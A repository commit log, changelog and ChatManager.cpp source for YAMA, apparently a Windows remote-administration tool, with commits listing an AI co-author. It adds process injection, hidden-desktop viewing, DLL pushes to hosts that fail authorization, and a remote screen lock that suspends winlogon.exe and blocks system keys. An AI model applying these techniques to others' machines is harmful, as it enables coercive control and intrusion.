14 Commits
Author SHA1 Message Date
yuanyuanxiang b89428bf35 Release v1.4.0 2026-10-07 13:57:34 +02:00
yuanyuanxianganddeepseek-v4-pro 3928dd76a3 Feature: Add icons to experimental features submenu
Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro
2026-10-06 18:05:14 +02:00
yuanyuanxianganddeepseek-v4-pro d80d8f21da Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing
TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at
initial TOKEN_AUTH or on a later heartbeat — the server fires the
auth-failed trigger and sends the configured plugin DLLs to the client,
gated by the existing ShouldLogAuth dedup so a persistently failing host
is re-triggered only once per hour or on a state change.

VerifyClientAuth gains a sender parameter so the failure branch can reach
the live connection context; both call sites (TOKEN_AUTH and heartbeat)
pass it. TriggerManager caches the auth-failed plugin names in a separate
set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online
trigger path untouched.

Rework the settings dialog so the plugin checklist reflects the currently
selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE
handler) instead of hardcoding the online trigger; remove the now-unused
GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and
de_DE.

Co-Authored-By: deepseek-v4-pro
2026-10-06 17:50:30 +02:00
yuanyuanxianganddeepseek-v4-pro d269df9171 Feature: Migrate SimplePlugins drawing board (远程画板迁移)
Migrate the SimplePlugins remote drawing-board overlay into the YAMA client
as an "实验功能" right-click submenu entry. DrawingBoardMgr is isolated in
the SimplePluginsDrawingBoard namespace and draws pen paths and text onto a
transparent, top-most layered window.

The YAMA server already had the CDrawingBoard dialog, TOKEN_DRAWING_BOARD
(151) and the full RemoteDraw command set, so only the client overlay
manager and the menu wiring were missing. Add COMMAND_DRAWING_BOARD_PLUGIN
(165) and LoopDrawingBoardPlugin, spawned as a sub-connection from
KernelManager; the constructor sends TOKEN_DRAWING_BOARD so the existing
server dialog opens unchanged. Add a "远程画板" entry to the "实验功能"
submenu, routed via OnExperimentDrawingBoard.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:52:58 +02:00
yuanyuanxianganddeepseek-v4-pro 2fb6252285 Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:41:04 +02:00
yuanyuanxianganddeepseek-v4-pro 2c3e1ca518 Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:09:26 +02:00
yuanyuanxianganddeepseek-v4-pro f72fda9b71 Feature: Machine management (主机管理)
Migrate the MachineManager client from SimplePlugins and wire the server toolbar.

Client:
- Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts
  enumeration plus process injection via yapi.hpp).
- Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated
  sub-connection in KernelManager.
- Register MachineManager.cpp/.h and yapi.hpp in both client projects.

Server:
- Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon,
  plus en/zh_TW/de translations.

Fix:
- Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the
  enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD.

Co-Authored-By: deepseek-v4-pro
2026-10-04 21:03:03 +02:00
yuanyuanxianganddeepseek-v4-pro c906a46bcc Fix: garbled instant-message popup title on client
The IDD_DIALOG caption was stored as UTF-8 bytes while the .rc file declares #pragma code_page(936) (GBK), so the resource compiler mis-decoded the caption and the client's bottom-right popup showed a garbled title. Convert the caption to GBK to match the declared code page and the rest of the file.

Co-Authored-By: deepseek-v4-pro
2026-10-04 20:10:12 +02:00
yuanyuanxianganddeepseek-v4-pro 6c9fef8793 Feature: Two-way remote chat (远程交谈)
Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro
2026-10-04 19:55:29 +02:00
yuanyuanxianganddeepseek-v4-pro bbdb4104bf Feature: TCP/UDP connection management with force-disconnect
Add a connection-management feature to YAMA: a toolbar button (after MCP)
opens a dialog listing the managed host's TCP/UDP connections, with
right-click force-disconnect for IPv4 TCP rows.

Client: a new CConnectionsManager enumerates connections via iphlpapi
(GetExtendedTcpTable/GetExtendedUdpTable, IPv4+IPv6) and answers the
refresh and kill commands over a sub-connection.

Server: a new CConnectionsDlg (DialogBase) shows the list with sortable
columns and a right-click menu; the title-bar icon reuses the toolbar's
connection icon (res/connections.ico).

Fix byte order found during review: iphlpapi returns an IPv4 address as a
network-order DWORD and the port's low 16 bits in network order, so
storing them raw made the dialog show reversed IPv4 addresses and ports.
The client now stores addresses as network-order bytes and ports as host
order (ntohs), and reverses the conversion on disconnect.

Co-Authored-By: deepseek-v4-pro
2026-10-04 18:23:06 +02:00
yuanyuanxianganddeepseek-v4-pro 8d0f419093 Improve: multi-line keyword input in notification settings
Replace the single-line, semicolon-separated keyword field with a taller
multi-line edit box (with a vertical scrollbar) where each keyword goes on
its own line. The stored format stays semicolon-separated, so existing
notify.ini files remain valid; load/save convert between newlines and
semicolons, trimming each keyword and skipping empty lines.

Also decode the stored matchPattern as UTF-8 when loading the dialog, so
non-ASCII keywords round-trip correctly (matching the CP_UTF8 encoding
used on save).

Co-Authored-By: deepseek-v4-pro
2026-10-04 14:39:38 +02:00
yuanyuanxianganddeepseek-v4-pro f3a05c14b1 Feature: Play remote audio on iPhone via WebAudio + self-hosted Opus WASM
iOS WebKit lacks Media Source Extensions with WebM/Opus, so remote audio
was silent on iPhone Safari/Chrome even though audio frames kept flowing.
Add a Web Audio API fallback path that decodes Opus packets with the
`opus-decoder` WASM library and schedules them onto an AudioContext.

The decoder bundle is now self-hosted — served at /static/opus-decoder.min.js
by both the Go and C++ servers — instead of pulled from a CDN, which was
unreachable from some networks.

Gotcha fixed during bring-up: the unscoped `opus-decoder` build's
`OpusDecoder.decodeFrame` is synchronous and returns {channelData,
samplesDecoded, sampleRate, errors} directly, not a Promise, so it must be
called in try/catch rather than via .then().

Also remove the on-screen diagnostic overlay (audio toast + frame counter)
used while debugging the phone without a console; diagnostics now go to
console.* only.

Co-Authored-By: deepseek-v4-pro
2026-10-03 18:23:10 +02:00
yuanyuanxianganddeepseek-v4-pro d118558eda Fix: skip wasted geo-IP lookup blocking the host double-click tooltip
The online-host double-click handler called IPConverter::GetGeoLocation on
the UI thread before showing the floating tooltip, even when no local IP
database (QQWry/ip2region) was loaded. In that default configuration the
result is never displayed, yet the call issues up to three synchronous HTTP
requests (5s timeout each), delaying the tooltip by a network round trip or
worse.

Only run the lookup when a local database is actually loaded, and memoize
successful results per IP in a process-wide cache inside GetGeoLocation so
the remaining call sites (license activity, host-login fallback) do not
re-query the same IP. The cache uses function-local statics rather than
class members to keep IPConverter's layout unchanged and stay ABI-compatible
with the precompiled PrivateDesktop_Lib.lib QQWry/Ip2Region subclasses.

Co-Authored-By: deepseek-v4-pro
2026-10-03 09:44:01 +02:00
yuanyuanxianganddeepseek-v4-pro 76decec0fe Feature: Add file-transfer speed dialog with multi-language support
Add a novice-friendly "File Transfer Speed" dialog under the Advanced menu
that controls file-transfer speed in both directions without touching
SimplePlugins. Speed is passed through InitFileUpload's existing
chunkSizeKb/sendDurationMs arguments, so the precompiled library stays
untouched. Seven presets run from ~0.3 MB/s up to a new 10 MB/s tier plus an
unlimited tier; the chosen value is stored in [transfer] ChunkKb/DurationMs.

Upload reads THIS_CFG at the master's InitFileUpload (2015RemoteDlg.cpp:2225)
and takes effect on restart. Download is pushed to the client over a new
CMD_FILE_SPEED (252) command, sent from OnOnlineFileManager and
OnOnlineDesktopManager before each session opens, and read by all four client
InitFileUpload call sites via GetTransferSpeed so the process-global refcount
cannot latch a stale speed. All Chinese strings go through LangManager, with
en_US/zh_TW/de_DE entries added for the tier names, format strings and hint
text.

Co-Authored-By: deepseek-v4-pro
2026-10-02 19:57:57 +02:00
67 changed files with 13453 additions and 73 deletions

No files matched your search

+26
View File
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志 ## 更新日志
### v1.4.0 (2026.10.7)
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
**新功能:**
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,CMD_FILE_SPEED 252)
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
**改进:**
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
**Bug 修复:**
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
- 即时消息弹窗标题乱码(GBK code_page 声明)
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强** **MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
+26
View File
@@ -378,6 +378,32 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog ## Changelog
### v1.4.0 (2026.10.7)
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
**New features:**
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, CMD_FILE_SPEED 252)
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
**Improvements:**
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
**Bug fixes:**
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
- Garbled instant-message popup title (GBK code_page declaration)
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements** **MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
+26
View File
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌 ## 更新日誌
### v1.4.0 (2026.10.7)
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
**新功能:**
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,CMD_FILE_SPEED 252)
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
**改進:**
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
**Bug 修復:**
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強** **MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
+336
View File
@@ -0,0 +1,336 @@
// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ChatManager.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>
#if ENABLE_MESSAGE
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
struct PIDWNDINFO {
DWORD dwProcessId;
HWND hWnd;
};
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int g_nLocked = 0;
static DWORD GetWinlogonPid()
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
BOOL rtn = Process32First(snap, &pEntry);
while (rtn) {
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
CloseHandle(snap);
return pEntry.th32ProcessID;
}
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
rtn = Process32Next(snap, &pEntry);
}
CloseHandle(snap);
return 0;
}
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|| (p->vkCode == VK_LWIN)
|| (p->vkCode == VK_RWIN)) {
return 1;
}
break;
}
}
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
ShowWindow(hWnd, SW_MINIMIZE);
return TRUE;
}
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
pInfo->hWnd = hWnd;
return FALSE;
}
return TRUE;
}
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
static void ChatSetHook()
{
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
HMODULE hMod = LoadLibrary("ntdll");
if (hMod) {
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
DWORD pid = GetWinlogonPid();
BOOLEAN dummy = 0;
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
}
}
static void ChatUnSetHook()
{
if (g_hKeyBoard) {
UnhookWindowsHookEx(g_hKeyBoard);
g_hKeyBoard = NULL;
}
if (g_lpfnNtResumeProcess && g_hProcess) {
g_lpfnNtResumeProcess(g_hProcess);
}
if (g_hProcess) {
CloseHandle(g_hProcess);
g_hProcess = NULL;
}
g_lpfnNtResumeProcess = NULL;
}
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
static void UnlockScreen()
{
ChatUnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
g_nLocked = 0;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_hInstance = HINSTANCE(user);
m_hWnd = NULL;
m_bRun = TRUE;
g_nLocked = 0;
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
BYTE bToken = TOKEN_CHAT_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
Mprintf("Chat 构造\n");
}
CChatManager::~CChatManager()
{
m_bRun = FALSE;
while (m_hThread)
Sleep(100);
if (g_nLocked == 1) {
UnlockScreen();
}
if (m_hWnd) {
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
Mprintf("Chat 析构\n");
}
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
CChatManager* pThis = (CChatManager*)lParam;
HANDLE& hThread(pThis->m_hThread);
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
if (pThis->m_hWnd) {
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
// 移除最小化/最大化按钮
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
CloseHandle(hThread);
hThread = NULL;
return 0;
}
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
switch (uMsg) {
case WM_INITDIALOG:
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
pThis = (CChatManager*)lParam;
SetWindowText(hDlg, "远程交谈");
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
{
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
if (hIcon) {
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
}
}
return TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
char str[4096] = { 0 };
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
if (str[0] == 0) {
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE; // 消息为空不发送
}
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE;
}
if (LOWORD(wParam) == IDC_BUTTON_END) {
// 被控端主动结束交谈:关闭本地聊天窗口
SendMessage(hDlg, WM_USER + 1, NULL, NULL);
return TRUE;
}
break;
case WM_CLOSE:
return 0;
case WM_USER + 1:
pThis->m_hWnd = NULL;
DestroyWindow(hDlg);
return TRUE;
case WM_USER + 2:
ChatSetHook();
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
default:
break;
}
return FALSE;
}
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
if (ulLength == 1) {
switch (szBuffer[0]) {
case COMMAND_NEXT_CHAT:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
NotifyDialogIsOpen();
if (m_hWnd && g_nLocked == 0) {
ShowWindow(m_hWnd, SW_RESTORE);
RECT rct = { 0 };
GetWindowRect(m_hWnd, &rct);
ClipCursor(&rct);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
PIDWNDINFO pwi = { 0 };
pwi.dwProcessId = 0;
pwi.hWnd = m_hWnd;
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
g_nLocked = 1;
}
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
if (g_nLocked == 1) {
UnlockScreen();
}
return;
default:
break;
}
}
// 收到服务端发来的聊天文本
SYSTEMTIME st;
GetLocalTime(&st);
char Text[8192] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
if (m_hWnd) {
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
ShowWindow(m_hWnd, SW_RESTORE);
}
}
#endif
+30
View File
